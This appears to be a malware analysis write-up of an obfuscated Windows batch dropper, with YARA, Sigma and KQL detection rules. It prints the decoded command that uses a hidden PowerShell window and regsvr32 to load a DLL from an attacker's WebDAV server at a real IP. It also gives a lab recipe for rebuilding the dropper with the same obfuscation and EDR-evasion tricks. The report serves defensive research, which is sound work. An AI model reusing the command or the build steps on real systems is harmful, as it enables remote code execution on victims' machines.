unclassified-js-webdav-dropper: ffd5d894 — Batch-only sibling with natural-language SET variable obfuscation

Executive Summary

A 21.6 KB Windows batch script (28773160832892112964.bat) that uses natural-language SET variable expansion obfuscation to hide a WebDAV-based DLL load. Second confirmed sibling of the unclassified-js-webdav-dropper family, sharing the 45.9.74.x:8888 infrastructure and regsvr32 /s execution chain. Unlike sibling da58243c, this variant is pure batch (no JScript polyglot layer) and uses long English-phrase variable names instead of a shared prefix with short suffixes. C2: 45.9.74.36:8888 delivering 24013635923706.dll. Static-only — CAPE skipped as unsupported file type.

What It Is

• File: 28773160832892112964.bat (21,634 bytes) ^[file.txt]
• Type: ASCII text, Windows CRLF batch script ^[file.txt]
• SHA-256: ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4
• ssdeep: 384:Kim965d8/XhontTl7fyJdYypyn6eF3UGO6utEuWngg1uih7KIAK2VYu2cGun:KimI+0TxMiypyn6eF3XOYnBwih79AK2/ ^[triage.json]
• Family: unclassified-js-webdav-dropper — confirmed sibling to da58243c. Same WebDAV + regsvr32 execution chain, overlapping IP range (45.9.74.x), same port (8888), same share name (DavWWWRoot). Different payload name (24013635923706.dll vs 67.dll) and different obfuscation dialect.
• CAPE: Skipped — ASCII text is not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — Noise padding (lines 1–126)

Lines 1–126 are a block of semantically-plausible English words and phrases (e.g. cows cattle thinkable coal ship needy, partner charge soothe brash deeply fade). These serve no operational purpose — they are dead text that defeats naive keyword-based static detection and inflates the file size. The block ends at label :horse. ^[strings.txt:1-126]

A goto horse at line 1 skips the noise entirely when the script runs, jumping directly to the payload section. This means the noise is purely anti-static — it never executes.

Layer 2 — SET variable expansion (lines 128–130)

The payload section opens with 36 SET assignments on a single line, each variable name being a long natural-language phrase: ^[strings.txt:128]

set ripeguaranteejar=e&&set closelaughablebad=5&&set clumsyplanedeadpan=a&&...

Thirty-six single-character values are bound to phrases like ripeguaranteejar, sipdestructionlabored, earthquakeonerouswipe, underwearsailsneaky. The variable names are chosen from the noise-pad word pool (or generated from it), creating a false association between the dead text and the live code that complicates manual analysis.

Three %VAR% expansion lines reassemble the commands: ^[strings.txt:129-131]

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\24013635923706.dll
exit

Command breakdown

The use of powershell.exe -windowstyle hidden as a wrapper for net use is a minor sophistication over the sibling da58243c, which ran net use directly from the batch layer. The PowerShell wrapper may evade simpler EDR rules that only alert on cmd.exe spawning net.exe.

Decompiled Behavior

Not applicable — this sample is ASCII text, not a PE binary. Ghidra, radare2, and capa do not support script-file analysis. All behavior was recovered via manual SET variable decoding. ^[file.txt] ^[capa.txt]

C2 Infrastructure

No domains, no TLS, no custom user-agent. The C2 IP (45.9.74.36) is in the same 45.9.74.0/24 range as sibling da58243c (45.9.74.13), suggesting shared hosting or a single actor-controlled VPS subnet. The payload filename (24013635923706.dll) is numeric, consistent with throwaway staging names.

Interesting Tidbits

• Pure batch — no polyglot. Unlike sibling da58243c (JScript/batch polyglot with WScript self-replication), this sample is straight batch. It does not copy itself to %userprofile% — it executes in-place. This makes it less persistent but also leaves fewer host artefacts.
• Natural-language variable names. The SET variables use full English phrases (ripeguaranteejar, sipdestructionlabored) rather than the shared-prefix short-suffix pattern (ygfrlohixvrh) seen in da58243c and in batch-powershell-variable-expansion-obfuscation. This is a different obfuscation dialect within the same anti-static technique family.
• Decoy execution. start wordpad opens the built-in Windows RTF editor. In a social-engineering context (e.g. the user double-clicking a .bat renamed to look like a document), this may reinforce the illusion of legitimacy.
• PowerShell wrapper. Wrapping net use inside powershell.exe -windowstyle hidden adds an extra process hop that may bypass rules looking for cmd.exe → net.exe directly. The PowerShell process itself is not executing PowerShell script — it is just a hidden shell host for the net use command.
• No persistence. No registry Run key, no scheduled task, no startup folder drop. One-shot execution. The payload DLL is loaded via regsvr32 in-process; no second-stage binary is written to disk.
• No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity checks. The script runs blindly.
• SSDeep note: 384:Kim965d8... — the 384-byte block size is driven by the 21 KB noise padding. The fuzzy hash will shift significantly on any re-obfuscation with different noise text.

How To Mess With It (Homelab Replication)

Goal: Build a batch-only WebDAV dropper using SET variable expansion with natural-language names, and verify EDR detection gaps.

1. Write the batch file:

   @echo off
   goto payload
   
   :: noise padding — insert 100+ lines of random English words
   apple banana cherry dramatic elephant furious ...
   
   :payload
   set ripeguaranteejar=e
   set closelaughablebad=5
   ...
   color f0
   start wordpad
   start powershell.exe -windowstyle hidden net use \\<lan>\webdav\ ; regsvr32 /s \\<lan>\webdav\payload.dll
   exit
   

2. Host a WebDAV share on a lab Linux box (IIS WebDAV or wsgidav). Place a benign signed DLL.
3. Execute on a Windows VM by double-clicking the .bat file (or running from a JS carrier that spawns it).
4. Verify behavior:
   • WordPad opens immediately (decoy).
   • Process Monitor shows cmd.exe → powershell.exe → net.exe → regsvr32.exe.
   • regsvr32.exe loads the DLL from the UNC path.
   • No registry modifications, no scheduled tasks.
5. Test detection:
   • Does your EDR flag regsvr32.exe with a UNC path?
   • Does it flag powershell.exe with -windowstyle hidden and net use?
   • Try the YARA rule below against the file.

Deployable Signatures

YARA Rule

rule Batch_WebDAV_Regsvr32_Dropper {
    meta:
        description = "Batch dropper using SET variable expansion to stage WebDAV DLL via regsvr32"
        author = "Titus"
        date = "2026-06-17"
        hash = "ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4"
    strings:
        $set_line = /set [a-z]{10,40}=[a-z0-9]&&/ ascii
        $net_use  = "net use \" ascii
        $dav      = "DavWWWRoot" ascii
        $regsvr   = "regsvr32" ascii
        $powershell = "powershell.exe -windowstyle hidden" ascii nocase
        $wordpad  = "wordpad" ascii
    condition:
        uint32(0) != 0x4D5A and
        filesize < 30KB and
        #set_line > 10 and
        ($net_use or $dav) and
        $regsvr and
        $powershell
}

Sigma Rule

title: Batch WebDAV DLL Registration via PowerShell-wrapped NET USE and Regsvr32
status: experimental
description: Detects a batch script spawning PowerShell to mount a WebDAV share and then silently registering a remote DLL via regsvr32.
author: Titus
date: 2026-06-17
logsource:
    category: process_creation
    product: windows
detection:
    selection_chain:
        - ParentImage|endswith: '\cmd.exe'
          Image|endswith: '\powershell.exe'
          CommandLine|contains|all:
              - 'windowstyle hidden'
              - 'net use'
              - 'DavWWWRoot'
        - ParentImage|endswith: '\powershell.exe'
          Image|endswith: '\regsvr32.exe'
          CommandLine|contains: 'DavWWWRoot'
    condition: selection_chain
falsepositives:
    - None expected; legitimate regsvr32 does not load DLLs from WebDAV UNC paths.
level: high

Behavioral Hunt Query (KQL / Microsoft Defender)

DeviceProcessEvents
| where (FolderPath endswith "regsvr32.exe" and ProcessCommandLine contains "DavWWWRoot")
   or (FolderPath endswith "powershell.exe" and ProcessCommandLine contains "windowstyle hidden" and ProcessCommandLine contains "net use")
| extend ParentChain = strcat(InitiatingProcessFolderPath, " -> ", FolderPath)
| summarize arg_min(Timestamp, *) by DeviceId, ProcessCommandLine

IOC List

Detection Signatures

References

• unclassified-js-webdav-dropper — Family entity page (sibling da58243c)
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain
• batch-powershell-variable-expansion-obfuscation — Technique page for the SET variable expansion anti-static pattern

Provenance

• file.txt — file utility v5.44: ASCII text, with very long lines (2193), with CRLF line terminators
• strings.txt — strings v2.42.0 (GNU binutils): 311 lines of raw printable strings
• floss.txt — flare-floss v2.4.0: failed — not a supported binary type
• capa.txt — capa v7.0.1: failed — not a supported binary type
• rabin2-info.txt — radare2 v5.9.6: binsz 21634, bits 0, havecode false — non-PE
• ssdeep.txt — ssdeep v2.14.1
• tlsh.txt — TLSH v4.12.0: BFA22990B551278F5DD29BD6B00261E3E96E802047052398F8EFC64E768F47D933E9AF
• binwalk.txt — binwalk v2.3.4: signature scan, no embedded file systems detected
• dynamic-analysis.md — CAPE v2.4: skipped (unsupported file type)
• All decoded commands verified by Python SET variable expansion script against the raw batch file.